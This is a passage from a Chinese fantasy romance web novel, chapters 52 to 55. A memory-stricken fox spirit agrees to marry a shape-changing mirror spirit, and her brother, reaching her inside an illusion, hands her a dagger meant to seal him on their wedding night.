银梨的反应明显不在回光的预计之中,回光猝不及防,停顿许久才有动作。 回光不可思议地问:“……你不抗拒我吗?” 银梨的记忆尚未恢复,但她隐约有感觉,回光应该在她失忆前就认识她,或许,这不是回光第一次以奇怪的方式来接近自己。 回光究竟是什么身份呢?以前的自己,对他很抗拒吗? 银梨不太清楚。 但现在的她,摇了摇头。 银梨道:“我在想……要是你对我怀有恶意,意图不轨的话,现在这个时候,一定很容易吧。” 银梨自己都觉得,此刻的自己没有半点反抗能力。 要是想要伤害她的话,没有比这更好的机会了。 可是…… 银梨抬头看去。 拥着她的这个人将她悉心护在怀里,想尽办法照料她,眼底的担忧与伤感不似骗人。 他指尖还有割开放血的痕迹,要是单纯想要骗她、想要谋害她,又何必做到这个地步? 银梨转过身来,坐在回光的膝盖上,面对他。 银梨捧住他的脸,说:“其实前些天坐马车回宅子的时候,你的白绫从脸上掉下来,我看到了。” “——!” 回光面露惊惶之色。 银梨不喜周旋,直截了当:“虽然你刚才变成了别人的样子,但你现在的相貌,应该也不是你真实的脸吧?” “……” 回光没有否认,应该就算默认了。 银梨指尖抬起,在他精雕细琢出来的五官上滑过。 回光这张脸就像是专门为她而生一样,完全长在了银梨的喜好上。 原来他可以随意改变自己的长相,难怪世上能有生得如此完美的人,浑然无瑕,玉质天成。 银梨问:“回光,那真正的你……究竟是什么样的呢?” 很奇怪,明明有这样一副俊美的皮囊摆在她面前,银梨却还是好奇他真实的相貌。 过了很久,银梨才听到回光的答案。 他说:“……我也不知道。” “……不知道?” 回光点头。 他说:“我可以看得清别人的样子,可是,我从来没有看到过我自己。” 所谓的“真正”……是指什么呢? 回光偏了偏头。 他的神情,是发自内心的迷茫。 银梨闻言,也不知该如何回答。 这世上的大多数人,生来便已经有一个固定的形象,像银梨,她自然而然就会将镜子里的身影当作“自己”,她知道自己是狐狸,也知道自己生就了什么相貌。 可回光的状态,显然并非如此。 银梨问:“你没有一个天生的形象吗?” 回光说:“我的本体是镜子,这或许是我本来的样子吧。不过,我的灵识无论如何修行,都无法呈现出血肉之躯的样子,我可以映照他人,却无法自己成形。 “所以,如果是那种与常人一样、可以与你自如交流的形象,我没有。” 银梨没有见过镜灵,像这样的情况,的确闻所未闻。 银梨眨眨眼,问:“既然你可以自由改变自己的外表,那你有自己想要成为的样子吗?” 回光想了想,回答:“我想成为你会喜欢的样子。” “……!” 话题又绕了回来,银梨不觉有些脸红。 她道:“可是,比起全然参考我的喜好,我更希望能看到你的本质。 “我希望你能自己比较自然舒服的状态来面对我,而不是为了讨好我,七拼八凑,甚至刻意模仿别人。” 回光听完她的话,吟思良久。 他说:“可是,如果我做得不够好,我怕你会离开我。” 银梨毫不犹豫地道:“我不会走。” “当真?” “当真。” 回光捧住了她的脸,问:“那……你会永远和我在一起吗?” “……!” 这不是一个很好回答的问题。 回光 的表情,就像如果银梨拒绝,他就会像被人踩过的薄冰一样碎裂。 他的眼神认真,也很脆弱,仿佛这就是他全部的渴求。 可是银梨不得不仔细思考。 这同样事关她自己,她不能因为回光看起来很可怜就给予轻率的回答。 这个时候,在银梨的头脑深处,浮现出了某位长者的身影—— “银梨,你既不是人,也不必将自己当作纯粹的九尾狐或者一块灵玉。” 银梨记得,她好像曾经在某个地方修炼,在脑海中出现的这位端庄智慧的神女,银梨曾将她唤作“师尊”。 曾几何时,师尊抚着她的头,如此对她说道—— “这世上本就没有两个生灵是完全相同的,你的每一个特质,都是你身上的一部分。” “你不必强行将自己套入哪一种身份之中,每个人都有自己的道路。” 若她是这样,那回光,会不会也是如此呢? 他本来就未必有固定的样子,不该用常人的思维去强求他。 是谁规定,每个人生来,就必须有一个本质的相貌呢? 回光身上,有许多银梨觉得难以看清的地方。 但这么长时间的相处,他的一言一行、一举一动,其实都在向银梨诉说,他究竟是什么样的人。 被叔父迫害、不得不幽居深林中的皇子,可能不是他。 但是,为了讨她欢欣展示剑术、怕她休息不好给她准备房间的人,是他。 身着素衣、面覆白绫、受伤了也一声不吭的金眸仙君,可能不是他。 但是,为了她打扮成这样、费劲心思琢磨她喜好的人,是他。 他可能不是他全部展现出来的样子。 但是,银梨同样很清楚,他是那个纵容她、心甘情愿在雨中等她、会任凭她拉到任何地方的人。 银梨揭开了回光在她面前的伪装,回光也对她坦白了自己内心的脆弱与实质。 过去的迷障已然褪去,她更清晰地看到了这个人的本质。 回光不是天生如此,可他出于自己的意愿变成现在的样子,谁又能说这不是他真实的一部分呢? ……拨云见月,茅塞顿开。 银梨发现自己清楚内心深处的答案。 她对回光的那些温情和依恋,不会随着回光的伪装揭开而消失。 哪怕,他是“怪物”。 想到这里,银梨知道自己有了决断。 回光似乎很缺乏自己会被选择的自信,在说了很多漂亮话以后,银梨认为自己应该、也心甘情愿给回光一个确切的承诺。 银梨点了点头,道:“好,我们永远在一起。” 回光的眼睛微微睁大。 话完,不等回光作出反应,银梨已经自若地变成狐狸。 她像进自己家似的往回光怀里一蹿,找了个舒服的位置,然后窝成一个扁扁的狐狸饼。 “我病还没有好。” 银梨发着烧,脑袋还有些晕晕的,声音有点虚弱,但语气莫名理直气壮。 “你要先好好照顾我,其他的事情,要等我病好以后再说。” 银梨用实际行动来表达她的亲近。 话虽如此,银梨感到自己的心结已经散去。 烧还没退,可她憋在胸中的话说出来却舒服多了,病因已除,想来再休养一下,就不会有什么问题。 回光慢慢地回过神来。 室内温暖的光线下,银梨看到回光露出不可置信的神采。 他的眼神难以置信,却又变得前所未有的温柔。 回光用力将银梨抱在怀中,轻轻应道:“好。” …… 这一天之后,两人正式定下了婚事—— 作者有话说:除夕快乐=3= 第53章 银梨的病, 养了半个月就痊愈了。 然后,两人便紧锣密鼓地开始筹备婚事。 说是两人,其实在银梨看来, 回光在这桩事上, 要比她积极得多。 婚礼筹备伊始, 银梨就发现了一些异状。 回光像是早就计划好要成亲似的,在宅邸的仓库里,竟然早备有各种婚礼需要的物件。 灯笼、彩绸、喜烛、锦被…… 还有一些银梨想都想不到的东西,一应俱全。 银梨本来觉得, 既然是只有他们两个人的婚礼, 既无家长也无宾客, 那么只要一切从简即可。 然而,回光俨然不这么想。 他全情投入其中,兴致盎然。 看他的架势, 大概即使这场婚礼一个观礼者都不会有,他也要礼仪周全、大操大办一番。 回光甚至连大婚用的礼服都早早做好了成衣, 银梨一穿, 正好合身,竟真是她的尺寸,一点不差。 银梨看着推进速度惊人的婚礼筹备,不由有些傻眼。 她端详着从容不迫、将一切安排得井井有条的回光, 疑惑地道:“……我怎么感觉, 你不太像是第一次成亲呢?” 回光在准备这件事上, 实在熟练得令人诧异。 回光听了这个问题, 只是望着银梨笑。 他如今已经不戴白绫了,因为银梨说没必要,于是他笑的时候, 银梨能够看得见他的眼睛,弯弯的,像干净的月牙。 避而不谈,似乎有妖。 不过,当银梨换好婚服,站到镜前,她看着镜中盛装打扮的自己,也有种微妙的、与过去某个时刻重叠的感觉—— 总觉得,她见过自己这样的姿态。 难不成,她也不是第一次成婚吗? ……头有些痛了。 银梨晃了晃脑袋,试图减轻那种记忆似乎被什么压制的不适感。 * 银梨内心深处,真心相信着满月最为吉祥。 因此两人的婚期,定在下一个满月。 就在离婚礼还剩下三天的时候,宅邸又发生了一次剧烈的震动,宅邸的墙上出现许多裂痕,还震落了一个刚挂上的灯笼。 尽管回光说没事,并且他马上用气息填补,将宅子恢复如初,看不出一点痕迹,但银梨还是有些在意。 她记得上次宅子出现裂痕以后,她就听到了鹿鸣,并且在梨花林里,见到了一匹青色幼鹿。 于是,等地震平息以后,银梨出于直觉,又走出宅子,到梨花林中看了看。 ……静谧的夜林深处,年幼的青鹿卧在落花之中。 它像在等什么人。 见到银梨,那青鹿抖了抖耳朵,站了起来。 银梨眼看着它走向自己。 等走到银梨跟前,青鹿嘴一张,从口中吐出一封信,放到银梨手上。 然后,它便像怕被人发现似的,一扭身,迅速跳走了。 银梨将信拆开,借着月色,小心观看—— 这次的信,还是与上次相同的字迹—— 【银梨亲启】 【篇幅有限,只言关要。】 【鬼境怪诞,或可压制记忆。】 【信中所附为太阴星所凝的一缕仙意,有驱邪辟祸之用,有助于恢复异常。】 【邪鬼图谋,以鬼信物为契。】 【鬼怪巧言,切勿相信。】 【记忆复苏后,于梨花林中寻鹿,以鹿鸣为号,灵鹿引路,便可相见。】 【吾等有要言相告。】 署名依旧是那两个字——青霜。 不用怀疑,这次的地震,应当就是为了外面的人将信送进来。 银梨手持信件,反复阅读,思索着送信人的意图。 看信中的意思,大抵是从外面送信进来会受到某种限制,因此篇幅不能太长,只能写上最要紧的话,内容看起来便有些前言不搭后语。 但送信进来的人,好像知道她没有记忆。 非但如此,他们似乎还在信中留下了可以帮助她恢复记忆的方法。 银梨将信封展开,果然在里面寻到一缕清澈的仙意,与银梨自身的气息十分相近。 银梨抬手一勾,它便飘浮过来。 银梨犹豫片刻,谨慎地让仙意贴近自己。 这仙意十分温顺,让动才动,也很容易取下。 经银梨同意后,它轻飘飘地在银梨手腕上绕了一圈,然后便乖巧地贴在那里,旁人觉察不到了。 * 不知是不是仙意奏效,当天晚上,银梨又做了梦。 不过,这一次在梦中,她不再是玉镜。 这说明这回的梦不是通感,而是属于她自己的记忆。 在梦中,她是一只小白狐狸,正在与一头幼 鹿嬉戏。 银梨将那只鹿换作“兄长”,他们一起奔跑、打滚,好不快活。 只是,这样的梦境持续了许久,银梨便觉得好像没有什么关键的信息,只能知道她与一只青鹿是兄妹。 她想要记起一些更有用、与她的处境更有关的内容…… 正当银梨这么想时,忽然,画面一转。 在梦中,她与兄长跑进一片梨花林,在梨花林深处,有一片清澈的大湖。 看到这风景,银梨一阵恍惚。 这是……她第一次到这里的记忆吗? 梦中年幼的银梨化成人身,正趴在湖边,往湖的深处看。 银梨觉得,她好像是被什么吸引到这里来的。 只是,将她吸引到此处的东西,深深隐藏在湖的底部,看不分明。 青鹿跟在她身边,见银梨往湖底望,他也化成人身,趴在银梨身边。 “这湖里有什么吗?” 青鹿问她。 银梨入神地望着,但什么也没发现,只得摇了摇头,道:“我也不知道。” 青鹿化成的男孩环顾四周,道:“说起来……这里看起来很少有人会来呢,真亏你能找到这种的地方。” 听到男孩的话,银梨抬起头来,她这时才发现,这里人迹罕至。 “我们说不定是第一个发现这片梨花林,还有这片湖的人。” 男孩笑道。 “要不,我们给这个地方起个名字吧?” 银梨认真思考起来。 她望向湖的方向,道:“要不然,我们给这片湖,起名叫‘宴清’吧?” “宴清?” “对。” 银梨单纯地笑了。 她说:“之前我们一起看的戏,里面不是唱了好几遍‘海宴河清’吗? “姐姐说,这个词是四海清明、盛世太平的意思。 “姐姐一直希望凡间安宁,要是有这样的地方,一定很高兴吧! “这个湖,虽然不是海也不是河,但也是一片水呀!用宴清两个字来命名,不是正好吗?” ………… …… 宴清。 ……宴清。 是不是曾经,有谁,告诉过她,自己是这个名字? 脑海中浮现的,是个模糊的身影。 梨花林。 狐狸村。 青梅竹马。 宴清。 鬼阵。 鬼信物。 错乱糊涂的记忆在头脑中乱窜,感觉就要想起什么来了,可是又差临门一脚,没有办法成功。 就在这时,银梨醒了过来。 ……好吃力。 明明睡了一整夜,可她清醒时的感觉就像被捆在椅子上批了一夜的文书,筋疲力尽,头疼得仿佛被人打过。 银梨勉强撑起身体起床,推开门,走出没多远,就在院中看到了回光。 回光正在装饰庭院,满园的梨树上挂满了红绸,喜庆得像是月老祠里的连理树。 他最近总是这样,两人婚期越是临近,回光越是兴奋。 他从早到晚都在筹备婚礼,银梨甚至不知道他有没有遵守和自己的约定,在晚上老老实实地睡觉休息。 银梨忽而晃了下神。 眼前的回光,忽然间,与她印象中的另一个身影,有些重合了。 ……宴清。 其实回光的形象,与银梨印象中那个看不分明的“宴清”的身影差别很大。 可两人的相像不在外形,银梨说不出来个所以然来,只莫名觉得神似。 她揉了揉眼睛,让视野清晰一些。 这时,回光听到她的脚步声,转过头来,弯了眉眼。 他走向银梨,捉住她的手。 见银梨心不在焉,他担心地偏了偏头,问:“……怎么在发呆?” “……没事。” 银梨回过神来。 只是,她突然发现腰间有些重。 银梨低下头,一眼便注意到自己腰间那块古玉。 ——先前,集市上那个琴师告诉她,这个东西,是鬼信物。 ……鬼信物。 说实话,银梨这么快考虑与回光的亲事,其中也有这块古玉的原因。 她与回光的灵气都亏空得厉害,他们身上又都戴着一块相同的古玉,根据之前那位琴师的话,银梨便有些怀疑,他们身体上的问题,可能是出在这两块鬼信物上。 解掉这个鬼信物,需要与人成亲。 既然她与回光两情相悦,两人又都有这个麻烦,这个信物肯定是尽快解掉比不解得好,那他们何不成亲,一同将这件事解决? 在此之前,银梨都觉得这个方案很完美。 甚至有些过于完美,让人不禁怀疑,世上真有如此凑巧的事—— 一男一女凑巧身上都有鬼信物,凑巧遇见,凑巧相恋,凑巧可以通过成婚来解开这个信物,凑巧可以一举两得吗? 如果……这果真不是凑巧,而是另有隐情呢? …… 银梨照旧与回光一同吃了早膳。 她食不知味。 吃完,银梨还是决定开口。 银梨说:“回光,其实昨天晚上,我好像想起一点以前的事。” “——!” 回光拿着筷子的手一顿,静等着她的后文。 银梨却没有往下说。 她已经选择了相信回光,不该再摇摆不定。 婚期已经离得十分近,不该再生变故。 许多念头在脑海中打转,让银梨无法轻易开口。 但在这时,回光轻轻摸了摸她的头。 回光说:“不用太顾虑我。你若是还有什么介意的事,婚期再推迟几日也无妨。” 银梨意外:“……你可以接受吗?” 回光微笑。 出乎意料地,他点了头。 回光道:“你之前说……想知道我真实的样子和想法。” 银梨一愣。 回光笑望着她,说:“我是一面镜子,会想要学习喜欢的人的言行举止。 “若你这样想,那我……也同样。我不希望你心怀疑虑地做决定,因为……我想知道的,同样是你真正的答案。” 回光的目光真挚,这可能是个很大的决心,但银梨感受到了他的诚意。 “其实我……确实还有想要弄清楚的事。” 银梨道。 “我好像想起了自己的兄长,他可能有事要跟我说,而我……想去看看。” “你我成亲毕竟是件大事,若是真见到他,我也好告诉他与其他亲朋好友这件喜事。” 银梨顿了顿。 她说:“我不会去很久。你我婚礼是在明日黄昏,我保证会在婚礼前回来的。你觉得可以吗?” 新娘要在成亲前一日突然出远门,无论放在何处,恐怕都是任性的要求。 但回光信守了承诺。 他微微笑着,答应下来:“好。”—— 作者有话说:新的一年啦!!! 祝大家万事如意,马上顺遂! == 海晏河清的晏有通假字,古代有用晏,也有用宴的,在现代汉语中统一成晏了。 不过我起名字的时候,比较喜欢“宴”这个字,所以选了这个。 浅浅说明一下。_(:з」∠)_ 第54章 用过早饭, 银梨就决定离开宅邸。 回光亲自送她到门口。 宅子为了大婚准备的布置已经完成大半,玄关处看上去已经相当喜庆,红通通的灯笼高悬在大门两侧, 双喜字端正簇新。 在带着如此庆祝氛围的大门前, 回光一人独立, 透着些孤寂的意味。 “我会一直在这里。” 他牵着银梨的手,留恋地说。 “等你回来。” 银梨不知回光是有心无意,但她看着回光有求必应、心甘情愿的样子,反而很是心软, 有些不忍。 银梨许诺:“我一定尽快。” 银梨走出了几步, 又忍不住回头。 回光还是和以前一样, 一动不动地守望在原地,像一道幽影。 仿佛,他会一直在这里等她, 无怨无悔。 * 银梨一头钻进了梨花林,寻向她之前碰到青鹿的位置。 按照信中所言, 她需要以鹿的鸣叫为信号, 引灵鹿过来为她引路,才能见到送信人。 银梨依信所述,对着树林模仿鹿的叫声,“呦呦”了两声, 没多久, 先前那只青色的幼鹿就从林子里跳了出来。 青鹿一听到银梨的声音 , 好像便明白自己应该做什么。 他轻快地在原地蹦跶几下, 示意银梨跟上它,然后蹦跳着跑向远方。 银梨见状,也化成白狐, 尾行而去。 青鹿出了月东林,一路向西跑去,中间腾云驾雾了一段,最终停在一个山口。 银梨不紧不慢地跟在他身后,原本还没什么感觉,可越是跟随,便发觉周遭的风景越眼熟。 ……她大概在这一带生活,她对这里,似乎远比对那片梨花林熟悉。 当一座仙气弥漫的山头出现在她面前时,银梨几乎不费神便认了出来,这座山,名叫小灵山。 而在这之上是…… 青鹿并未在山前停下,而是一路顺着石阶,继续往山上跳。 银梨跟着青鹿拾级而上,终于,在她面前,出现了一座仙宫。 这里是…… 银梨有些出神,她不自觉地变回人身,循石阶而入,跨入仙宫中。 仙宫中楼台殿宇,层层叠叠,分布复杂。 常人初次入内可能会迷路,但银梨却对这座宫殿的一草一木,都万分熟悉,无需思索,她便知道该往哪里去。 她穿过甬道,跨过前殿,又途径一个花园,最后,她站到一颗巨大的月梨花树下。 她认得这棵树。 月宫里的月梨花常年盛开,永不凋零。 在银梨晃神的时刻,一直跟在她身边的那只青鹿忽而一晃,摇身化作一个青年男子。 青衣玉冠,君子端方,一身光明磊落。 “银梨。” 青年唤她。 “我是青霜。” 银梨看着眼前之人,只觉得生出一种与生俱来的亲近,他甚至不用多言,银梨已不由自主地信了他三分。 青鹿化成的青年自我介绍道:“银梨,我是你的兄长,也是这个幻境之外的人。 “这个幻境的防备十分严密,我们在外面费了很多心力仍无法完全攻破,所以,我只能借由这个幻境中我本人的躯壳,将你引到此处,用这种方式与你见面。 “为了防止被鬼君发现,我也只能长话短说。” “我知道你的记忆被压制,可能不记得我是谁,也不知道发生了什么事。” “但是,我向你保证,我此刻所言,句句属实。” 名为“青霜”的青年话语诚恳,不知是不是这个地方对他有所限制,他语速有些快,像怕赶不及似的。 银梨听得错愕。 由于没有记忆,她对这个忽然冒出来的“兄长”并未全然放下戒备,仍有三分警觉。 她没有立即搭话,只是点了点头,示意对方继续往下说。 好在青霜好像也没有非要立刻就得到她的信任,大抵是时间紧迫,他不能把多余的心神放在说服银梨上,只能挑选挑选最关键的部分,尽可能告知银梨情况。 青霜简明扼要地道—— “银梨,在外面,你本是神女月婵的妹妹,当今月宫的主人。姐姐去世以后,天下为鬼邪所侵,但你并未屈服,以复活姐姐、挽救苍生为己任,在人世间坚持至今。” “奈何月东林中的邪鬼、云舒神君预言中的鬼君,不知何故,竟盯上了你。不但在你身上放了鬼信物,还意图引诱你进入幻境,要将你困在其中。” “鬼君这两百年来,吞噬过无数生灵,残害修士,连你我的师兄云舒和望月城城主谢沉霄都险些遭其毒手。” “此等邪物恶贯满盈,罪无可赦,绝不能姑息。” “你目前所处之地,所视所感皆为幻象,俱是他为了困住你精心打造的牢笼。” “银梨,那鬼君或许极善花言巧语,但你绝不可轻信他。我们有许多人,师兄、师姐,还有谢仙君,都在幻境之外努力,只要你愿意相信我们,我们必能救你出来。” 银梨仔细听着他说的话,分辨其中的信息。 若是在她失忆之初,青霜就出现,并说出这番话,银梨一定毫不犹豫地就相信他。 但现在,银梨已经在这里住了太久,她变得很习惯这样的生活。 现在再告诉她这里只是幻境,外面才是现实,她会有种一脚踏空的悬浮感,即使理智知道对方说得未必是谎话,可仍难以想象。 银梨琢磨着他话中的重点,试探地道:“……鬼君?” “不错。” 青霜颔首。 青霜引导着询问:“你在苏醒之后,可有在幻境中碰见过什么人?那个鬼君一直处心积虑接近你,以常理来说,进入幻境后,他定会费尽心机与你纠缠才是。” 要说在这里遇见的人……那必然是回光无疑。 甚至可以说苏醒以后,除了回光,银梨几乎没有接触过别的活人。 银梨没有当着青霜的面说出回光的名字,但青霜光是看她细微的神态变化,大抵就猜到了些什么。 青霜语重心长地道:“银梨,你苏醒后遇见的那个人,肯定就是月东林里的鬼君!” 青霜从袖中摸出一把发亮的银色匕首,展示给银梨。 青霜道:“我知道你现在记忆尚未完全复苏,可能不会完全相信我。 “但如果预测正确,佩戴那缕仙意之后,再过不久,你应该就能恢复记忆,到时候,你就会知道,我所言非虚。 “只是,时间紧迫,有可能在那之前,你就必须做出决断。 “现在,我必须将解决办法告诉你。” 青霜走近一步,拉起银梨的右手,将她的掌心展开,把匕首放到她手心里。 “这是以太阴星之力铸就的匕首。” “永夜未消,鬼君难以制服。最好的办法,就是将他的意识彻底封印。” “明晚子时,满月之夜,月满为盈之刻,太阴星力量最为强盛之时,我们会倾月宫之力,攻打幻境,以削弱鬼君的力量。” “届时,你要是能抓住那个时机,将匕首刺入鬼君体内,与我们里外配合,就能让鬼君失去反抗之力,幻境当然也能随之破坏。” 说到这里,青霜深吸一口气,深情的眼眸之中满是郑重。 他说:“银梨,那个鬼君用心险恶,他是打算将你永远困在这里、无法离开。一旦成为鬼妻,你就真的再也无法回头了! “我们不知道这个幻境中具体发生了什么,但对他说得任何话,你都一定要慎重、慎重,再慎重,绝不可轻易相信。” 银梨迟疑地握着手中的匕首。 这位自称兄长的人说的话,每一个字都像在扎她的脑袋,意识深处,仿佛有什么呼之欲出。 青霜则继续对她道:“这鬼君的本体是回光镜。封印鬼君,除了为了救你之外,也是为了我们的姐姐,还有凡尘苍生。 “只要将它封印,我们就可以用它的本体,来复活姐姐、挽救人世。” 他握住银梨的手,让她更紧地捏住匕首。 “银梨,你向来冷静清醒,是我引以为傲的妹妹。我知道,你面临的处境必定艰难,不会比我们这些在外面的容易。” “但我相信,即使在这样危机的情况下,你也一定能做出正确的决定。” “我信任你的能力。” 言罢,青霜深切地看了银梨一眼,像是给 予了最后的嘱托。 然后,这道人影便在银梨面前,化作虚影,消散了。 正如青霜所说,他们是费了九牛二虎之力才潜入这个幻境,将最重要的信息告知银梨,时限已至,便无法再停留。 银梨握着那把匕首,站在原地许久未动。 突然间,她感到喘不过气。 好像有什么笨重的东西一下子压了下来,沉甸甸地压在了她的肩膀上,几乎要让她窒息。 没有记忆的这段日子,银梨不知道自己是谁,不太有安全感,可另一方面,她其实过得很快乐。 她好像已经很久没有过如此恣意的日子了。 自由、轻松、无忧无虑。 而这一刻,那些她因遗忘而逃避的东西,好像瞬间都压回到了她身上,她被深深埋在最底下,难以逃脱。 天色昏暗下来。 昔日清澈的蓝天白云,倏地,蒙上厚重的阴霾之色。 ………… …… 银梨是在这天黄昏回到宅邸的,正像她对回光承诺的那样,她没有失信。 远远地,她看到回光。 回光就守在门口,与她离开前一样的姿势、一样的神态,就像定稿的画卷一般,一动都没有动过。 回光看到银梨,十分欣喜,微笑着向她走来。 他牵住了银梨的手。 “你回来了。” “嗯。” 银梨应了声。 心绪纷乱。 她勉强对回光一笑,一边牵着回光,一边却又藏住了掩在袖下的匕首。 * 银梨借口奔波累了,回来就躲入屋中。 直到次日黄昏,她都没有再露面。 回光来敲了几次门,银梨都说还在休息。 回光最后一次来敲门的时候,已近婚礼吉时,他似乎本来想问银梨是否身体不适、是否要延迟婚期,但就在这时,房门开了—— 银梨换好婚服,盛装站在屋中。 霞帔流丹,环佩摇光。 裙摆如流云铺开,丹霞似的红裳之上,九尾狐图样绣得栩栩如生,而在银梨身后,真正的九尾如扇铺开,宛如裙摆的一部分,华美至极。 银梨似乎觉得有些晃眼,抬手拨了拨缀在面前的流苏金珠,一抬眸便发觉门外的回光有些异样。 回光似乎定住了。 第55章 银梨看回光僵住了纹丝不动, 忽然有些不好意思。 说实在的,银梨并不觉得自己是第一回 穿这样的衣裳,回光可能也不是第一次看了。 但前面一次……不, 说不定都不止一次, 前面穿的那些时候, 她似乎都没有这样的感觉。 她内心深处很清楚,这回,有什么东西,和过去是不一样的。 唯有这一次, 站在她面前的这个人, 让她有真切的感情波动, 让她真心有些期待,他会成为自己的丈夫。 回光好似也是如此。 他应该并非第一次见银梨穿大婚礼服,可唯有今日, 失了过往的从容。 过了好一阵子,他才大梦初醒般地回神, 道:“你……” 任何言语上的夸赞, 忽然都显得苍白无力。 半晌,回光才找到三个字道:“……好漂亮。” 银梨的耳朵热了起来。 咚咚,咚咚咚咚。 心脏有节奏地加快了。 凉爽的春夜,竟奇异地感到了一丝闷热。 回光走向银梨, 牵住了她的手。 * 精致的喜灯两三步一盏, 红绸挂满院中梨树。 满月皎洁, 缤纷落花下, 佳人如梦。 回光对这场成婚仪式的重视远超寻常,即使不会有人观礼,他也拿出了十足的架势, 让宅邸内外焕然一新。 此地其实只有他们两人,可单说装潢氛围上,比之太平盛世时成百上千人的仙宫婚礼,好似亦不逊色。 二人执手,穿过月夜,走到院中梨花树下。 只有两个人的婚礼,礼节便可随心所欲。 供奉月神的神龛早已摆好,在明月见证下,二人对着天地与神女像鞠躬。 第一次鞠躬。 第二次鞠躬。 第三次鞠躬。 没有主持婚礼的人,整个过程分外安静。 接下来,就该进洞房了。 回光转过身,却见身边人一身大红婚服,微微仰头,定定地望着月色,九尾拖在身后,仿佛下一刻就要奔月而去。 回光不由轻轻捏了捏银梨的手。 “怎么了?” 回光问。 银梨恍然:“……什么?” 回光温和地道:“你看上去有些心神不宁。” 银梨一抿唇,安抚似的一笑,道:“没有,只是觉得这样就成亲了……有些不真实。” 这是真话,可话未说全,也没那么真。 她左手与回光相牵,可右手的宽袖底下,始终紧紧攥着那柄从青霜那里得到的匕首。 她在等。 月亮何时爬升到最高处。 回光注视着银梨,目光柔情似水。 回光太擅长观察她。 这样沉静而安宁的眼神,让银梨不禁觉得,回光说不定早已从她种种细微的举动中看出了端倪。 但是…… “这样啊。” 回光浅笑着回答。 回光没有戳穿她,反而说:“你若是还不想进屋,我们不如在这里赏一会儿月吧。” “……好。” 银梨答应下来。 * 满月。 银梨与回光二人身着大婚盛装,在梨花树下落座。 回光将本来放在新房中的糖果点心拿出来,还有瓷酒瓶和酒盏。 说是酒瓶,但银梨和回光都不喜饮酒,这里面装得其实是梅子做的甜水,两人到集市上玩时喝过许多次,银梨很喜欢。 回光摆出来的全是合银梨口味的食物,银梨清楚回光事先准备了这么多,是怕她大婚的过程中累了会饿,提前想好要给她垫肚子。 本来应该是最幸福美满的时刻,可因为有了心事,连好吃的东西放进嘴里,都尝着干巴巴的。 然而,回光却像全无所觉似的,笑眯眯地望着她吃。 “银梨,我好开心。” 梨花树下,回光说道。 “我们现在,应该算是夫妻了吧?” “……” 银梨吃着点心,听到回光的问题,她竟顿住了。 于情于理,她都应该答“是”,可话到嘴边,她又有点心虚。 空中的圆月,正一寸一寸地向正当空移去。 她还在犹豫。 银梨知道,哪怕再怎么拖延,到了子时,就是她必须下决心的时机。 但回光仿佛对她的迟疑浑然未觉,也不介意银梨避而不答。 他轻轻地道:“还有一件事,我想和你一起做。” “……什么?” 回光一笑。 他从袖中取出几段蔓草。 回光的手指修长,十分灵巧。 他在编。 没多久,回光编好了一个精细的草环,银梨几乎没看清他是怎么做的,等回过神来,他已经在草环上点缀了许多梨花,结结实实的,不是什么贵重之物,却异常精巧。 他示意银梨伸出手。 银梨将手递给他。 回光握着银梨光洁的手腕,将草环绕了上去,仔细地扎好。 “天月为媒,结草为誓。与子同心,永生不负。” 他轻轻地念道。 “——!” 银梨眼前忽然模糊了,头痛欲裂,无数记忆急猛地撞击着她的头脑,几乎要让她晕厥过去。 回光问她:“你可以为我编一个吗?” 他笑着道:“只要这一件事,接下来无论发生什么,我都不会有遗憾了。” 银梨没有照做。 她靠近了回光。 等她回过神来的时候,她已经搂上了回光的脖子,吻向他的嘴唇,像溺水的人寻求呼吸一般,索求他的气息。 …… 事实上,从昨日开始,银梨的无数记忆就像山呼海啸一般向她扑来。 真实的,幻境中的,梦中的,共感中的。 直到这一刻,那些记忆还在源源不断地冲向她的大脑,甚至连很多久远到她自己过去都已经忘掉的事情,都一并想了起来—— 另外一个幻境里,另一个新婚之夜。 “我好高兴。” 月影灯烛之下,名为“宴清”的狐族少年,在她手腕上绕上同样的草环以后,如此说道—— “从今天起,你是我的妻子,我是你的丈夫,生生世世,永不分离。” 银梨记起,正是 在那个幻境之后,她才被戴上了鬼信物。 但是,在那之前,同样有过类似的场景—— 那是银梨童年时的记忆。 她与青霜在梨花林深处那片被她起名为“宴清”的湖水边,玩着名为“扮演新婚夫妻”的游戏。 她演新娘,青霜演新郎。 “……在成亲当夜,夫妻要互相编野草环,戴在彼此的手腕上,施以不会损坏的灵法,从此非特殊情况不再取下,寓意永结同心。” 银梨与青霜面对面坐着。 他们没有合适的服饰和道具,银梨听到自己就地取材,开始胡编乱造。 她编了一个很丑的手环,绕在青霜手上。 青霜编得比她好不到哪里去,难看得要命。 银梨想了想,在丑陋的草环上胡乱缀了几朵小花,又瞎编了后面半段:“草环扎得越结实、上面缀的花越多,婚姻就会越长久美满。” 再然后,她仿佛看到了共感中的情景—— 玉镜的灵识停留在他们身旁,银梨和青霜都看不见它,但它却听到了银梨的话。 银梨自己都说完就忘的孩童戏言,却被玉镜当作是她对爱情和婚姻真实的想象,一字不差地记在心里。 它停留在湖边,一遍一遍学习如何编草环,一遍一遍尝试将更多的碎花插缀在上面。 一遍又一遍。 一遍又一遍。 …… 在银梨的记忆中,他的确是鬼君。 但是,他也是曾与她伴生的玉灵。 他是月东林邪鬼。 他是银梨素未谋面的兄长。 他是藏在湖底的玉镜。 他是宴清,也是回光。 记忆的碎片刀锋般拥挤在银梨的大脑之中,她好像想起了自己是谁,想起了属于自己的责任,想起来了她与回光的赌约,想起了姐姐。 可是想起的越多,她反而越不知道该怎么办才好。 她知道了自己的处境,知道了自己该干的事。 可她对回光产生的感情,并未因此消失。 过去种种牵丝引线在一起,反而让她更看清了整件事的全貌。 她喜欢回光。 可回光是鬼君,还是回光镜。 ……好难。 她本应毫不犹豫地封印他,可一旦萌生了各种各样感情,又还怎么能下手? 要是没有喜欢上他,说不定现在就能轻松许多。 想到这里,银梨不禁迁怒,动嘴狠狠咬了自己正抱着亲的人一口。 银梨啃破了回光的嘴唇。 她自己也清楚这是没道理的怨愤,但回光没什么怨言,反而将银梨往上托了托,好让她咬得更舒服点。 回光的血顺着唇舌进了银梨口中,银梨莫名其妙被补了一口灵气。 银梨:“……” 感觉更生气了。 回光毫不介意,只回应着她的动作,不断啄着她的嘴唇。 银梨不由用力锤了一下回光的肩膀,可过了一会儿,又忍不住舔了舔他被自己咬破的地方,怕他真疼了。 脑子一团浆糊。 无数念头在其中转动,难以抉择。 地面忽然剧烈震动起来。 梨花树被粗暴地摇落了一地花瓣,酒瓶酒盏倾倒。 